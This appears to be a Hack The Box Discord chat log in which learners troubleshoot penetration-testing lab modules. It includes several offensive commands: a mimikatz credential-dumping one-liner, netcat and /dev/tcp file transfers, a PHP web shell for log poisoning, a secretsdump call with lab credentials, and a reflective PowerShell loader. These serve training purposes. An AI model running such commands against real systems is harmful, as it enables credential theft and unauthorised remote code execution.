modules

[atomic arch]

p a l y

r o b l o x

[cloud urchin]

are you having a conversation with yourself?

[rustic sage]

I think this is a Convo for #general

[next bronze]

0x00000002

ERROR_FILE_NOT_FOUND

The system cannot find the file specified.

[fathom pendant]

file being lsass.dmp

[next bronze]

yep

[fathom pendant]

that's quite enough @atomic arch lol

[rustic sage]

Did he get banned

[fathom pendant]

o7

[cloud urchin]

doesn't look like it

[fathom pendant]

muted more likely

as I saw a payloadbunny typing 👀

@cloud urchin just to make sure i'm understanding this right too; the minidump is reading from the file then subsequent commands related to it are trying to load from that file

[next bronze]

yes

[fathom pendant]

i don't recall needing to get lsass.dmp for mimikatz to dump passwords and such but I could be misremembering

[cloud urchin]

yeah i never saved it specifically as something like that

[clever topaz]

Oh ya I didn’t specify the entire path for lsass.dmp I place it in x32 directory jn lmao

[cloud urchin]

i generally just use this command

[clever topaz]

Thanks love being in this community

[cloud urchin]

.\mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::secrets" "sekurlsa::logonpasswords full" "lsadump::secrets" "lsadump::sam"

[next bronze]

that section is specifically debug priv so it's slightly different

[fathom pendant]

you have lsadump in there twice

[acoustic owl]

I wanted to write that we should go back to the topic. You were quicker.

[cloud urchin]

lol good catch

i'll edit that

[fathom pendant]

i spend an unhealthy amount of time staring at screens

I can spot an error message or interesting info in a .5 second scroll

[cloud urchin]

i should try multidump sometime

[fathom pendant]

https://tenor.com/view/family-guy-stewie-griffin-my-god-i-really-do-have-problems-dont-i-i-have-problems-i-have-issues-gif-26433900

[cloud urchin]

i do have that command in my notes though sekurlsa::minidump lsass.dmp

[soft reef]

Has anyone here finished the new API Attacks module?

[cloud urchin]

it could be he forgot to run mimikatz as admin this time, or mimikatz doesn't have permission to read from the folder it dumped to for some reason

[acoustic owl]

Yes, a few people have worked through it

[fathom pendant]

@atomic arch no need to whine in my DMs

[atomic arch]

sorry

for everthing

[cloud urchin]

just straight dumping the lsass process might be easier

[fathom pendant]

also you need to ask before dming people

[fathom pendant]

it was user error

[acoustic owl]

Please read the #rules

[fathom pendant]

if you scroll up: "i didn't specify path, i saved it the the \win32 directory"

[cloud urchin]

ahh yeah

missed that

[fathom pendant]

gotta love windows errors 0x[error]

[stray lava]

Can someone teach me how to hack using only the phone and is this possible?

[soft reef]

I finished it but 1 question, Its not really clear if i should authenticate yes or no.

[cloud urchin]

why do you have a grabifier link in your profile

[stray lava]

Just for testing, I want to reach the hacking stage with all the information when entering the link, but I do not know how

[cloud urchin]

testing what

[stray lava]

the site

[cloud urchin]

how does adding a grabifier link 'test the site'

seems more like you're trying to get ip addresses of people who click the link

[acoustic owl]

Which section is this from?

[soft reef]

API - ATTACKS : Unrestricted Resource Consumption

[stray lava]

Yes, this is almost true, but I do not benefit from it. Simply knowing the addrres is not enough

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[next bronze]

you do know that trying to "reach the hacking stage" with other people's info is illegal and against the rules?

[fathom pendant]

let them get a visit from the friendly FBI man

[next bronze]

[cloud urchin]

unfortunately US doesn't have an extradition treaty with algeria

[fathom pendant]

doesn't mean they still won't get a visit

[acoustic owl]

The module explains how you may be able to access data if you do not have a login

[stray lava]

I modified it

Are there sites for creating links for hacking only when join it???

[cloud urchin]

i don't think you know what you're asking about. this discord is for the hackthebox platform, which is a website for education

[fathom pendant]

no

[acoustic owl]

this has nothing to do with the academy. Please read the #rules

[stray lava]

okay

[atomic arch]

hey

[fathom pendant]

no

read #rules

[rare swan]

Hi - where can i find machines/boxes related to a given module of cpts? - thx

[fathom pendant]

the academy x HTB Labs section

however be warned: the boxes will generally not be the scope of whatever you just learned

or will often only partially have to deal with what you just learned

https://academy.hackthebox.com/academy-relations

my case in point: https://academy.hackthebox.com/academy-relations/modules/network-enumeration-with-nmap

[acoustic owl]

Check this List from IppSec

https://www.youtube.com/playlist?list=PLidcsTyj9JXItWpbRtTg6aDEj10_F17x5

[sterile solstice]

I was just looking at that, strangely enough. there's some hard boxes on that list. i hope i'm not expected to do all blindly haha

[acoustic owl]

Don't be misled by the easy, medium and hard tags. Just because someone says that something is hard doesn't mean that you feel the same way.

[sterile solstice]

yea agreed. i did some boxes over the past 2 days (hitting a wall of motivation for more modules), and i found PermX not that bad! but then I did another 'easy' box that i found far far harder...

only needed minimal nudges but definitely feel im far off CPTS lol.

[acoustic owl]

In each of these videos, IppSec explains exactly how he proceeded. So it's definitely worth trying the box and watching the video afterwards. If you get stuck, you'll get tips on how to move forward. If you manage to complete the box, IppSec may show you another technique that you have never seen before.

[sterile solstice]

yea good idea. i was looking at the list today as I was feeling a bit overwhelmed. the modules are great! and i found the vectors, but was unsure how to exploit what I knew needed to be done. for 1 of them, it was info from a module not in CPTS (from CBBH). As makes me think I should take a few other modules (i.e. the python course, though I already know some. Helps with some privesc. etc etc).

but you just answered a question I was wondering about. am i just meant to follow along with IppSec? Will definitely followthat advice. im months off taking the exam though.

also, almost every box ive done has included a lot of web based stuff. it feels like a weakness. will be circling back on those modules for sure, lol.

[wraith pelican]

i find useful search the technique i want to explore by using ippsec website, even if i don't do the box, it is sometimes good to see a more informal way on a course topic https://ippsec.rocks/?#

[sterile solstice]

ohhhh nice

[wraith pelican]

follow along, i don't know, i find it more useful to try alone and if stuck too long, watch the vid to unlock a step then do alone... but even if i watch 1h30 video, i'll will often still struggle doing the box afterwards, it is not like watching is knowing how to do it. However it spoils the dopamine rush you get when you do it on your own : )

[boreal token]

Could anybody assist me ,iam new to Hackthebox or even cybersecurity iam stuck at the question of " find out the machine hardware name".

[wraith pelican]

could you try to give more context, which section, what have you tried, what you think the problem could be and that kind of stuff

[sterile solstice]

yea definitely. ive also seen some walkthroughs which made zero sense and still couldnt do it. and it is a good feeling when you get it on your own. im looking forward to when i can completely do easy boxes without any nudge, haha. but watching others isnt bad. you get to see their method and hopefully understand it to include it next time.

[sterile solstice]

usually you provide the Module and Section, so we understand the context.

[boreal token]

The module box are on Linux fundamentals, it's the first question

[wraith pelican]

yeah, that's hard to search google without finding sploilers for active boxes. And also those videos tend to give of false sense of speed, i mean what we see is a representation of the attack path, not the struggles, researches that leads to it. Even though ippsec videos have quite a lot of rabbit holes and mistakes which is nice to see, but still if it takes one week to do a box alone, that's what it is. Same for the blood time, when i see user flag like in 16minutes.. i'm still running a nmap scan and getting a coffee after 16mins... haha

[wraith pelican]

have you tried the commands explained in the section?

[sterile solstice]

hahaha yea. and for some of the exploits ive seen ... i've wodnered 'how tf did they figure that out' ... obviously hours of randomly searching but its not shown in walkthroughs. and i took PermX seriously. Took my time to enum everything, go over my notes. i'm finding the web stuff to be a weakness right now tbh.

[sterile solstice]

the section goes through one of the commands. you need to use that command, and use the right flag. they mention the command/binary in the hint.

go up a bit more and have a look at what flags would give you the machine hardware. or type ||uname -h|| to see all options from the command line

[wraith pelican]

yeah i find web kinda awful tbh, it is reassuring that it is a specialization. Doing the cpts path was nice until web, it was some dark place,,,, that part of the course felt different. Maybe I haven't just found yet a nice workflow. I even did windows privesc before it and i would have preferred to get deeper into windows attacks, but that's how it is.

[sterile solstice]

thats where i am right now, im 75% complete of the path and within the web areas. up to attacking common apps. then its privesc. though its not needed for CPTS, i think i'll go do the remaining modules for CBBH. just because a web entry is so necessary for boxes, and boxes will help with CPTS prep.

oh, and i agree with workflow. i need to improve. modules are great but need to put it all together. need to find my own methodology and improve my processes.

[sterile solstice]

how are you going? did you figure it out?

[boreal token]

Awesome stuff, thanks man just in need of an mentor seriously

Iam just very much so much new to it

I've gotten prompt again

[sterile solstice]

thats alright. its daunting. i thought i was alright but ive learned a tone over the past month. im even thinking of going back to do Linux Fundamentals even though i used it back in highschool (many many years ago).

[wraith pelican]

was thinking about it as well, but from what i read here, it is overkill to use other techniques than those in the course. It could give more practice though. I was thinking about doing portswigger just to have a different view on the web-cpts topics. And common apps feels like a endless list of techniques, jumping to a thing then another, it was quite exhausting : D

[sterile solstice]

mate, we are on the same wavelength hahaha. i also know it would be overkill, and i hear over and over again that you need to 'think dumber' for the exam (avoid those rabbit holes). but i feel like web is my weakness, which is also why i had been thinking about doing portswigger as well! But while it would be overkill, if it helps me practice on boxes more i think it'll be worth it (the CBBH modules not necessary portswigger but im very intersted in that too)

hahaha yea, i was pumped for it. but then i saw 4days and i feel like i might need more. as opposed to AD attacks that is 7 but i used 4days for that. the sections/content in common apps looks extensive.

[tawdry flume]

HI! I got a q in regards to a box on academy. It is under the "Privilege Escalation" of the "Getting started" module

I am given credentials to login via ssh. I am logged in as user1, and I have to get to user2 & root. I am trying to get linpeas.sh, to scan for PrivEsc possibilities. I am trying to do that for the past 2h with netcat, but I cannot make it work

On my machine I run nc -v -l -p 54321 < /usr/share/peass/linpeas/linpeas.sh

On the box I run bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'

I am very, very sure that RHOST is set to my public ip and RPORT to 54321

Any ideas why it doesnt work? Is there a sort of block by my ISP?

[sterile solstice]

why are you using netcat to transfer files? python3 -m http.server 8000 on your own box is a better option IMO. or you can use ssh file transfer, using the scp command.

[tawdry flume]

Using it because that's what I found on GTFObins

[candid lily]

you can just do nc <ip> <port> < linpeas.sh on client and nc -lvnp <port> > linpeas.sh on server

[sterile solstice]

from a directory where you have linpeas.sh stored, run the above python command. then from the victim box run wget http://<YOUR IP>:8000/linpeas.sh

[candid lily]

with nc after transfering it wont exit automatically you have to quit with ctrl c

[wraith pelican]

yeah for me I decided I wasn't going deeper into web for now (or ever). Bug bounty, webapps are a thing in themselves, people just do that and that's a whole other world. For the common app, i found nice the modules about thick client, even made the module with ippsec technique of using eclipse, scripting, etc.

[sterile solstice]

ah, right, GTFObins is good. the nc method looks like more effort than a http.server or scp attempt.

[candid lily]

http.server is best but sometimes wget or curl wont be available in that cases you can just use nc

[sterile solstice]

well, i was thinking of the bug/web pen route tbh. there is some potential work around in my field for that kind of skillset. though i find myself enjoying the more general CPTS type path than CWEE/CBBH

[sterile solstice]

very true. i should practice the nc method tbh. im not confident with it as http.server is my go-to.

[wraith pelican]

you said "RHOST is set to my public ip" , Did you set it to your vpn IP, tun0?

[tawdry flume]

public ip, because the box is on a public ip too. For Academy's small boxes u dont need a vpn

that's what I was also wondering at a beginning, I know that for the rest of the boxes in lab u need a vpn

tried with python3, it still doesnt want to connect 😦

[sterile solstice]

so by the looks of it, its not even reaching your own attack box. if it was, then you'd likely see a failed request from yuor http server

[main halo]

just sudo openvpn XD

[sterile solstice]

even if you dont need a vpn for this, i would be running it anyway. i know for the exercises i did, i utilised the vpn connection (though for the XSS i had issues, which was either filtering from my ISP, or possibly my pi-hole/dns filter)

[main halo]

in all seriousness this seems like maybe a permission issue

[sterile solstice]

permissions? how so?

[main halo]

sudo vs non

[sterile solstice]

he's not connected to the VPN

[main halo]

sometimes when i use (example: vpn or http server) in order to run it and connect need sudo

[sterile solstice]

you need sudo to utilise reserved ports. port 8000 is outside of that.

[main halo]

its just a thought

[wraith pelican]

if there is ip:port vpn is not needed, but i wonder if you are supposed to transfer it, is linpeas not in a folder somewhere? can't even spawn the box at the moment

[sterile solstice]

he's already said he's using his public IP so its not an issue.

though i think he should use his VPN and not public IP

[main halo]

nah some of the bodes are public so itsok to not vpn

[sterile solstice]

thats something ive just learned, but still feels weird. i start the vpn when i start up my VM lol

[tawdry flume]

yeah, same for the lab, academy apparently doesnt require it

[main halo]

well habbit ya

[sterile solstice]

weird..

[rustic sage]

You need sudo to run OpenVPN but idk how that's related to this issue

[tawdry flume]

so yeah, I got to user2 (from user1, so lateral movement)
but have no clue how to get to root. One idea was the linpeas.sh, but cannot get it to transfer it. Maybe I shouldnt transfer it altogheter and it's something much easier

[sterile solstice]

i cant remember the specifics. but i usually do sudo -l soon after getting a shell

it will tell you what can be run as sudo, and hopefully its something that doesn't require a password, and even better if its on GTFObins with an exploit

[tawdry flume]

exactly how I got the flag for user2!

/bin/bash into user2, didnt get asked for a passwd, got the flag

[digital vessel]

anybody willing to answer a question on https://academy.hackthebox.com/module/23/section/513 ((( Skills Assessment - File Inclusion ))) i got in i got to where you fuzz i got the access log i use burp.. and nothing i donno if i have enough or not enough ../ i have picture would like to pm so does not break rules pls ping me / reply so i know i got msg|

<?php system($_GET['cmd']); ?> it just ignores me

[bright coral]

Why don’t you transfer the file via scp over your SSH connection?

[sterile solstice]

honestly, so far im finding sudo -l incredibly useful. either that, or looking for SUID on root owned bins

[tawdry flume]

will look into it

[sterile solstice]

lineas shows you those things too ... haha

[digital vessel]

lineas not linpeas ?

[sterile solstice]

nah, sorry, mistyped. linpeas

[digital vessel]

i wish i could get this fuzz question answered i got the answer cuz i looked itup the box itself WONT respond its driving me nuts

[sterile solstice]

are you at the ||log poisoning|| part?

[digital vessel]

ist the very end skills assess

[sterile solstice]

part of ||log poisoning|| is putting in that command into more than just the GET/POST headers. Something like ||user agent|| might be helpful to poison, then you should be able to use the php cmd shell.

[digital vessel]

in the actual setup ya i found the "log"| but burp wont do it

agan i know the answer i even know the walkthough can i shoot you a SS @sterile solstice

[sterile solstice]

go for it

[next bronze]

finished Windows Lateral Movement except for the broken section, gotta say the skills assessment is up there being the most frustrating/PITA sections I've done

[wispy lily]

hi i want to get started on htb but i don't have a linux machine availale currently and i can't download a remote one. other websites use a webshell, does htb use something like this? if so how do i connect?

[acoustic owl]

HTB provides a PwnBox that you can use with your browser. You don't need your own Linux machine

[wispy lily]

Ah right but you only get a small time on the free plan, is there anything else?

[sterile solstice]

i use Oracle VirtualBox and downloaded the recommended Parrot OS Security Edition

[digital vessel]

turns out i is not stoopid yay ^..^ i guess i just keep getting broken boxes

[wet aspen]

i having a problem with running a kernel exploit for 4.15.0-76-generic

all of are .sh scripts i found using searchexploit

but non of them are running properly

[digital vessel]

when i was doing the mod for general metasploit i had a similar issue and it turns out i was using the wrong exploit. might double check that make SURE you know what your using is right, then double check the vpn normally its the simple mistakes that screw ya over

[wet aspen]

tried everything correctly still not working

[digital vessel]

change vpn ,
get new box

ya auto mod is gonna keep removing that xD

try using ` marks

like this

[wet aspen]

bruh

[digital vessel]

i have done tis 2 times now i spent 12 hours working on a box got new vpn/box and was done in 1 min flat box was broken no error codes no sign of broken

just doday with file inclusion im doing it right but the box will not respond no matter what i do i double checked with another member even had him test it same deal. it happens.

its GREMLINS trust me they break dns and boxes

gl im going to bed

[sterile solstice]

check your dms

[wispy lily]

hi so i downloaded ubuntu do i connect using openvpn from my virtual machine or my physical machine?

[limber river]

Bruh, no life ?

[normal sand]

Why is it when I used bloodhound to check for machines and servers my user can RDP to, it doesn't show anything? I know my domain user can RDP to multiple machines but it doesn't show.

[main halo]

the worst is if its broken but you donno its broken.

[obtuse haven]

i think there is a bug in Attacking Common Services - Medium box

i was able to get the flag in a way that feels unintended

[normal sand]

Also, am I supposed to be getting a ton of "can't resolve" warnings when I run the collector for bloodhound?

[obtuse haven]

or maybe it isnt really unintended but it makes the medium lab easier then the easy tbh

[normal sand]

Is this ^ supposed to be normal when using a collector for bloodhound?

[muted jacinth]

hey. i have a question about the introduction to windows evasion techniques.
i have been building the ps1 module however i still get the error displayed in the lesson. i can't really figure out why

function Invoke-Seatbelt {
[CmdletBinding()]
Param (
[String]
$args = " "
)

# Seatbelt.exe -> Gzip -> Base64

$gzipB64 = "<snip>"

Base64 decode

$gzipBytes = [Convert]::FromBase64String($gzipB64);

Gzip decompress

$gzipMemoryStream = New-Object IO.MemoryStream(, $gzipBytes);
$gzipStream = New-Object System.IO.Compression.GzipStream($gzipMemoryStream, [IO.Compression.CompressionMode]::Decompress);
$seatbeltMemoryStream = New-Object System.IO.MemoryStream;
$gzipStream.CopyTo($seatbeltMemoryStream);

Load assembly reflectively

$seatbeltArray = $seatbeltMemoryStream.ToArray();
$seatbelt = [System.Reflection.Assembly]::Load($seatbeltArray);

Redirect assembly STDOUT to console

$OldConsoleOut = Console::Out;
$StringWriter = New-Object IO.StringWriter;
Console::SetOut($StringWriter);

Call main method

[Seatbelt.Program]::Main($args.Split(" "));

Reset STDOUT

$Results = $StringWriter.ToString();
$Results;

}

Invoke-Seatbelt

here is my code, i don't understand why it will load but won't work

[shell pivot]

Hey ,it's Sonfire here. Just wanted to share some valuable knowledge and insights on what I had found valuable recently:

First: When wanting to get into Cyber security, think about why you want to get into it. It could be many different reasons, ranging from curiosity of what it really means to be a hacker, curiousity on how to hack and curiousity on how things work and how they can be exploited.

You see a pattern there don't you? It's "curiousity", curiousity is a valuable resource you are born with, something that drives humanity to keep thriving.
Who Invented Electricity? Someone who was curious, who invented the wheel, someone who was curious.
Curiousity is magic and you should always be curious.

In this field, curiousity is 1 of the two things you should grow on and expertise on. The other is ones own methodology. Where do you start and where do you go from there and continue combining the two, curiousity with your methodology to finalize the end result you wish to have.

2: You have the chance to save others, gain respect and grow your reputation. Reputation is built, but also can be destroyed. If one day you get a job, an employer will of course do some digging into your past and try to find everything you have done, Including the bad, and the good. Keep your plate clean. Don't eat a messy BBQ on a clean plate, there will be markings. Everything is traceable.

3: Dont let your ego get Infront of your true potential, your potential is what should always be grown, Infront of everything and ready to be used.

If you read this message, just a reminder, you are someone who was given life too, don't waste it, use it and keep using even when your goals are met. ❣️

[rustic sage]

👀

[muted jacinth]

nevermind I am a moron

[normal sand]

I tried running the SharpHound collector from a domain-joined windows workstation and got no such errors. It's just when I run the command from the Linux attack host provided.

sudo bloodhound-python -u '<username>' -p '<password>' -ns 172.16.7.3 -d inlanefreight.local -c all 

[wraith pelican]

it seems, from the image your posted, you are trying all the machines in the inlanefreight.local domain. so you could try to specify the DC you want:
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u <user> -p <password>

[normal sand]

I want to collect data for the entire domain tho? There are no errors when I use SharpHound.exe. I'm currently checking to see if I can enumerate local admins from the data collected using SharpHound.

As for Linux, it's still throwing errors.

I just checked and I'm able to view which computers a user is local admin on, however, it's clear that the data isn't properly collected when using the Linux command I posted earlier 😕

Does the bloodhound-python collector just not work properly? Can someone test it out on the AD Enumeration & Attacks module > Skill Assessment Part II section and let me know if they're getting the "since it could not be resolved" error as well?

Also, separate question, which Inveigh should I be using?

[wraith pelican]

it works the same here, but i got the files from bh. dont know if they are legit as i will not open BH now but it seems ok. ffs the whole thing is so laggy, if forgot it was possible

[normal sand]

You didn't get any of the resolution errors?

[wraith pelican]

i did get them

but first it says connecting to dc01 or something like that

[normal sand]

So... you only got one resolution error? 🤨

[wraith pelican]

no i got a lot

[normal sand]

Ahh ok, so it's the same issue for you too.

[wraith pelican]

seeing the list it seems that is just the fake computers in the domain database

[next bronze]

those errors just mean the hosts exists in the domain records but cannot be reached

[normal sand]

Here's the odd thing though. When I collect the data using the bloodhound-python collector from the Linux attack host provided and it throws those errors, I'm unable to enumerate local admins on workstations. Whereas, when I collect data using SharpHound on Windows, I'm able to do so.

[wraith pelican]

maybe that's the reason:

[normal sand]

So... it only works with the new docker version of bloodhound?

[next bronze]

bh py should work even if some hosts can't be resolved

[normal sand]

Local admin enumeration doesn't work 😢

[next bronze]

I don't think any of the collectors checks that

[wraith pelican]

no that's juste the page I was on

[normal sand]

SharpHound does, I just tested.

So Bloodhound CE is the one that runs in docker?

[next bronze]

yeah

[next bronze]

it doens't always check, iirc it won't catch it a lot of times

[normal sand]

Module: AD Enumeration & Attacks
Section: Skills Assessment Part II

This question is kind of a spoiler. I have not included any answers tho.

|| So in latter half of this assessment, we're required to run Inveigh from a workstation (SQL01) on which we've obtained local admin access in order to discover a user and their hash.

In the beginning of this assessment we had to run responder from the Linux attack host we were provided in order to discover the first domain user.

I don't get it, why didn't this other user show in the beginning? I'm assuming the workstation and the privilege with which we run Responder/Inveigh matters? ||

[normal sand]

Ouhh, so it's better if we just manually enumerate the local admins on every workstation we compromise then?

[wraith pelican]

sharphound has the option collection method LocalAdmin, and i checked bloodhound-python does as well, so you could try -c LocalAdmin from linux

[normal sand]

Noted, I'll give that a shot now. Are we able to just upload the data from this command on top of the already uploaded data from the previous -all?

[next bronze]

yeah always double check yourself, bh can and will miss things

[normal sand]

Ouhh so it's known to miss things other than local admin as well, good to know.

[normal sand]

Any idea about this @next bronze?

[next bronze]

#modules message

[normal sand]

That's my other question. Also, I get that LLMNR/NBT-NS Poisoning poisons the broadcast and captures the response and that's how it gets the hash. I just don't understand why the workstation we run it from or the level of privilege we use matters?

Okay, maybe I understand that privilege matters cuz it may limit some service functionality, but I don't get why the workstation I run it from matters if both workstations are on the same network.

Or is this a tool limitation case? Inveigh being able to do something responder is not and so it's able to capture the other user as well?

[next bronze]

you mean the second capture? to capture a ntlm you need port 135/445 access which requires admin rights

[normal sand]

Oh okay, so that's why I need admin privileges on the host. But why couldn't I capture the second hash when I originally ran Responder from the Linux attack host?

[next bronze]

because it's a direct connection to that host, not your linux host

[pseudo kiln]

I am doing the AD asessement 1 and after the first pivot with ligolo the commands take forever to execute. Like I requested mimikatz to dump LSASS and I have been watching the CLI slowly render the text for longer than 10 minutes. Is this how it's supposed to be ?

[normal sand]

To what host? I'm not following.

[next bronze]

this -> #modules message

[normal sand]

So... the second time, when I captured the request on MS01, it was a direct request, meaning there was no poisoning of a broadcast? So is it then recommended to run Inveigh/Responder on every host I compromise?

[next bronze]

yep it's like when you captured someone tried to access a file on ms01

whether you want to try on every host is up to you

[normal sand]

Understood, thanks! I don't wanna miss anything so def gonna have to make it a habit of runnning it first thing on every host

Btw in the module it says that the PowerShell version of Inveigh is no longer maintained and that the C# version (InveighZero) is the latest. It's fine to still use the PowerShell version tho, right? I checked the C# version, but not sure which to download

[next bronze]

just use whatever works

[normal sand]

Ok, thanks 😂

[queen ore]

Does anyone else have issues connecting to some of the target machines that have specific port numbers? I use my own VM locally instead of the pwnbox, anyone know what's wrong? I saw something about Docker

[pseudo kiln]

still could not figure this out, any ideas ? I basically authenticated to host 1 , set up ligolo between it and attackbox, then psexec into another host in the domain, and every command I run through psexec takes ages to complete

[next bronze]

oops missed this, psexec is slower yeah. a few ways you can solve it: send another revshell to yourself, transfer the lsass dump out and parse it in your own host, etc

[pseudo kiln]

that makes sense, thanks

[pseudo kiln]

any ideas why I cannot run this ?

RDP, psexec etc to the target works

[wraith pelican]

i would try a higher timeout

SMB connection timeout (default: 2)```

[tardy aurora]

Hello

[pseudo kiln]

thanks, this worked, also found a workaround with|| secretsdump.py svc_sql:lucky7@172.16.6.50|| which dumped similar info

[atomic arch]

.

[runic depot]

anyone else have the web archives module broken

cpts^

[acoustic owl]

Which module do you mean?

[oak girder]

Hello everyone, I would like to ask. The first picture is from the textbook, and the second picture is a picture of the target drone, but there are no available updates. Can someone answer it for me? Thank you, about Drupal (Note: Location may differ based on the Drupal version and may be under the Extend menu.) He has this tip, but I still haven't found it

[runic depot]

https://academy.hackthebox.com/module/144/section/1256 @acoustic owl

just try the first question without pwnbox - https://web.archive.org/ How many Pen Testing Labs did HackTheBox have on the 8th August 2018? Answer with an integer, eg 1234.

[fathom pendant]

Check under 'status reports''

[oak girder]

Another problem is that I wrote the PHP code, but it kept failing to save. Writing 12 worked.

[fathom pendant]

Hackthebox.eu

[acoustic owl]

HTB did not use .com back then 😉

[runic depot]

thank you

[trail sail]

I need help please. I am doing the File Upload Attacks Module, section: Blacklist Filters:
https://academy.hackthebox.com/module/136/section/1288
i get this error message while starting the attack with the intruder. I can't see the results to cotinue the section.

[old oasis]

that message always comes if you are using community edition just click ok

[oak girder]

I'm really sorry, I might be a little stupid, but I still didn't see it

[old oasis]

alternatively you can use turbo intruder extension

[trail sail]

Oh thanks. I am new to this sorry. My bad.

[oak girder]

This is my status report

[oak girder]

I still haven't found (+ Install new module button) where this place is，I'm really sorry.

https://www.drupal.org/project/drupal/issues/2672684

[wraith pelican]

when you click on manage, then under that, there is another menu, click on extend

[oak girder]

Thank you, this is a generated instance. I entered according to the path but didn't seem to find it.

[wraith pelican]

I'm not connected to the drupal site, but I see that in my notes:
Once downloaded go to Administration > Reports > Available updates.
Note: Location may differ based on the Drupal version and may be under the Extend menu.

[stiff moon]

anyone else having this today? just loading and loading and nothing hapens. been like this for the past 1-2 hours.

[limber river]

@next bronze yoo , how was windows lateral movement ?

[rustic sage]

Try in a different browser?

[stiff moon]

its the same on my kali vm and on my host 🤔

[wraith pelican]

i found it. you have to enable the Update Manager module and install it. Then refresh the page and you'll see at the top "No update information available", click on "check manually". Then you will get an Access denied, but clikc on Available Updates. Finally you get the page to upload the module.

[rustic sage]

refreshing the page might help.

😄

[stiff moon]

dopne that a cpuple of times

but i might have fixed it now

[rustic sage]

Oh?

[stiff moon]

not sure yet since its loding now again

it went back to normal and i started the target etc. so will wait a min to see if it really working

[stiff moon]

nope seems to be stuck again....

[next bronze]

meh, I say it's B tier. the content is alright but the SA is a PITA

[rustic sage]

[next bronze]

what module

[stiff moon]

weird thing is that i can start a target on a diff page on the same module (module im on is Intro to C2 Operations with Sliver)

[next bronze]

ah rip that's the one t3 module that I'm not doing

[oak girder]

Thank you, is that so?

[limber river]

okay , I had to start ADCS , I bought the module but didn't have time to read it

[cloud urchin]

ADCS is a great module

[stiff moon]

lol

[next bronze]

adcs is very good

[cloud urchin]

one of the best imo

[limber river]

yeah I just need sometime to finish it

[cloud urchin]

ADCS let me pwn my company in 5 mins

[limber river]

lol

ur company is so ruined then

[cloud urchin]

name one that isn't lol

[stiff moon]

NOW IT WORKS

finally

[cerulean grail]

In the "Footprinting Oracle TNS" module in the pentester job path - how am I supposed to understand that the user has elevated privileges (SYSDBS)? As far as I can tell, there's nothing that specifies it even after I log in as the user normally and it's just randomly trying to connect as "sysdba" and hoping it works. What am I missing here?

[rustic sage]

@feral nimbus also been facing the issue.

[wraith pelican]

I do not see the same thing,,,

[oak girder]

Sorry, I don't see no updates available

[wraith pelican]

but that does not seem the same instance as before.
here is what i just did on the pwnbox

[steady dust]

As far as I know oracle requires admin privileges. When you identify an app, you can do some research and maybe you can find interesting things, like that the user under he run need high priv.

[oak girder]

Good

Thank you very much. Can I add you as a friend?

[cerulean grail]

Sorry, maybe I'm not entirely understanding your response but that doesn't seem to do much with my question?

[oak girder]

Thanks, this saves me a lot of detours

[cerulean grail]

Here are the queries I ran - the first gives an output of "2" indicating that it failed to return any data, and the tw other queries return an error

These commands are as per the module itself, and I was able to log in as "sysdba" for the user "scott", but I'm not understanding how I could have possibly known that

[cloud urchin]

sysdba isn't a user, it's a privilege

[steady dust]

Here, the user scott has no administrative privileges. However, we can try using this account to log in as the System Database Admin (sysdba), giving us higher privileges.

As the text say... "we can try". 😀

[cerulean grail]

Right, but how could I have known that the user has those privileges?

[steady dust]

You can't know, as far as i know. You just can try and if it works, thats it. If not, you try something else.

[cloud urchin]

you can simply try with the user you have access with. or you can view the list of users who have been granted sysdba via V$PWFILE_USERS

SELECT * FROM DBA_SYS_PRIVS WHERE PRIVILEGE = 'SYSDBA';
SELECT * FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = 'SYSDBA';
``` i think any one of these can show it, at least according to chatgpt

[cerulean grail]

That seems... odd at the very least? Especially considering the module specifically states that we could use the queries Ive used in my screenshot to check for elevated privileges for the user

[cerulean grail]

Isn't that the third query I've used? You can see it in my screenshot.

[next bronze]

how's that odd? many things you won't know until you've tried it

[cerulean grail]

All three return the same error I've previously encountered:

[cloud urchin]

That could just mean those views are not accessible with the privileges of the user context you're under

maybe try ```SELECT * FROM ALL_SYS_PRIVS WHERE GRANTEE = 'SCOTT';

or alternatively, just try it with the user you have compromised.

[steady dust]

during the pentester path you will find many times that you just simple have to try / test things

[cerulean grail]

Still no

[cloud urchin]

are you in the correct database?

that contains that table?

[steady dust]

https://stackoverflow.com/questions/16129912/sql-error-ora-00942-table-or-view-does-not-exist

Either the user doesn't have privileges needed to see the table, the table doesn't exist or you are running the query in the wrong schema

[cloud urchin]

yeah ^ i said all that

[steady dust]

Most probably you don't have the right priv

[cerulean grail]

How can I verify this? I can use the following query to show all tables:
select table_name from all_tables;

To my understanding there's just one database and I've connected to one of it's instances using the SID I managed to brute-force

[cloud urchin]

the sql fundamentals module would be great for this

https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html

this might work SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

[wary plover]

that's for MySQL this is a oracle db

[cloud urchin]

yeah he'd have to look it up then

he already has the answers though

[cerulean grail]

Here's the Oracle DB equivalent: SELECT username AS schema_name FROM all_users;

[cloud urchin]

bottom line is it's not like you're going to have a giant list of users that will take ages to check. maybe like 1-3 users at most and you can just check each one individually to see if they have privs

[cerulean grail]

Thanks for helping. I'd assume that you could have hundreds of users to check which checking them all wouldn't be feasible at scale.

[cloud urchin]

yeah i mean that'd be pretty crazy, but i don't think you'll encounter that on the htb platform

[fossil crescent]

Anyone have issues with the NTLM Relay Attacks->NTLM Cross-protocol Relay Attacks: Use Responder to capture SMTP credentials. What is the cleartext password for the username 'smtptest'? I reverted the environment and still not having success.

[next bronze]

just run responder and you should see it

use -v so it will show previoustly captured creds

[fossil crescent]

That's what I thought, but how long does it take? I've let it run for 10+ min and still not showing (nor showing in the logs)

[next bronze]

it should be pretty fast, let me check

[fossil crescent]

Much appreciated. Knowing that it should be quick (and that it's not), I'm just gonna move on for now and try again another time. Thanks again.

[next bronze]

took a couple of minutes but yeah it's there

[fossil crescent]

Yeah, I'm still running responder and still hasn't come up... thx again for confirming should be within a few min, terminating the lab for now and will try again another time/day

[fathom pendant]

Are you running responder on the right interface?

[jolly raptor]

Could someone help on the getting started module, currently on the section where i have to find a public exploit however I'm stuck. I cannot gobuster the IP to get more information

[stark lark]

What do you need gobuster for?

[jolly raptor]

to find different directories

the exploit requires a path to get to flag.txt

however I don't know the path

[fathom pendant]

Just visit the webpage in the browser dawg

[stark lark]

^

[fathom pendant]

